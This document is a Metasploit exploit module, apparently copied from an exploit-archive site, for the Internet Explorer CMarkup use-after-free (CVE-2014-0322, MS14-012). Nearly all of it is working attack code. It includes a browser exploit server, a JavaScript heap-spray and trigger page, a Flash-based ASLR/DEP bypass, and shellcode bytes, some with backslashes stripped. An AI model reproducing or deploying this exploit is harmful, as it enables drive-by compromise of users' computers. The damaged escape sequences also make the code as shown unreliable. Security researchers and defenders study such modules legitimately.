MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

Posted on 16 April 2014
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::BrowserExploitServer

 def initialize(info={})
 super(update_info(info,
 'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
 'Description' => %q{
 This module exploits an use after free condition on Internet Explorer as used in the wild
 on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
 bypass ASLR and finally DEP.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Unknown', # Vulnerability discovery and Exploit in the wild
 'Jean-Jamil Khalife', # Exploit
 'juan vazquez' # Metasploit module
 ],
 'References' =>
 [
 [ 'CVE', '2014-0322' ],
 [ 'MSB', 'MS14-012' ],
 [ 'BID', '65551' ],
 [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
 [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
 ],
 'Platform' => 'win',
 'Arch' => ARCH_X86,
 'Payload' =>
 {
 'Space' => 960,
 'DisableNops' => true,
 'PrependEncoder' => stack_adjust
 },
 'BrowserRequirements' =>
 {
 :source => /script|headers/i,
 :os_name => Msf::OperatingSystems::WINDOWS,
 :os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
 :ua_name => Msf::HttpClients::IE,
 :ua_ver => '10.0',
 :mshtml_build => lambda { |ver| ver.to_i < 16843 },
 :flash => /^12./
 },
 'DefaultOptions' =>
 {
 'InitialAutoRunScript' => 'migrate -f',
 'Retries' => false
 },
 'Targets' =>
 [
 [ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
 ],
 'Privileged' => false,
 'DisclosureDate' => "Feb 13 2014",
 'DefaultTarget' => 0))

 end

 def stack_adjust
 adjust = "x64xa1x18x00x00x00" # mov eax, fs:[0x18 # get teb
 adjust << "x83xC0x08" # add eax, byte 8 # get pointer to stacklimit
 adjust << "x8bx20" # mov esp, [eax] # put esp at stacklimit
 adjust << "x81xC4x30xF8xFFxFF" # add esp, -2000 # plus a little offset

 adjust
 end

 def create_swf
 path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
 fd = ::File.open( path, "rb" )
 swf = fd.read(fd.stat.size)
 fd.close
 return swf
 end

 def exploit
 @swf = create_swf
 super
 end

 def on_request_uri(cli, request)
 print_status("Request: #{request.uri}")

 if request.uri =~ /.swf$/
 print_status("Sending SWF...")
 send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
 return
 end

 super
 end

 def on_request_exploit(cli, request, target_info)
 print_status("Sending HTML...")
 send_exploit_html(cli, exploit_template(cli, target_info))
 end

 def exploit_template(cli, target_info)

 flash_payload = ""
 get_payload(cli,target_info).unpack("V*").each do |i|
 flash_payload << "0x#{i.to_s(16)},"
 end
 flash_payload.gsub!(/,$/, "")

 html_template = %Q|
 <html>
 <head>
 </head>
 <body>

 <script>

 var g_arr = [];
 var arrLen = 0x250;

 function dword2data(dword)
 {
 var d = Number(dword).toString(16);
 while (d.length < 8)
 d = '0' + d;

 return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
 }

 function eXpl()
 {
 var a=0;

 for (a=0; a < arrLen; a++) {
 g_arr[a] = document.createElement('div');
 }

 var b = dword2data(0x19fffff3);

 while (b.length < 0x360) {
 if (b.length == (0x98 / 2))
 {
 b += dword2data(0x1a000010);
 }
 else if (b.length == (0x94 / 2))
 {
 b += dword2data(0x1a111111);
 }
 else if (b.length == (0x15c / 2))
 {
 b += dword2data(0x42424242);
 }
 else
 {
 b += dword2data(0x19fffff3);
 }
 }

 var d = b.substring(0, ( 0x340 - 2 )/2);

 try{
 this.outerHTML=this.outerHTML
 } catch(e){

 }

 CollectGarbage();

 for (a=0; a < arrLen; a++)
 {
 g_arr[a].title = d.substring(0, d.length);
 }
 }

 function trigger()
 {
 var a = document.getElementsByTagName("script");
 var b = a[0];
 b.onpropertychange = eXpl;
 var c = document.createElement('SELECT');
 c = b.appendChild(c);
 }

 </script>
 <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
 </embed>
 </body>
 </html>
 |

 return html_template, binding()
 end

end
TOP
Malware :

Last 20
Exploits :

Last 20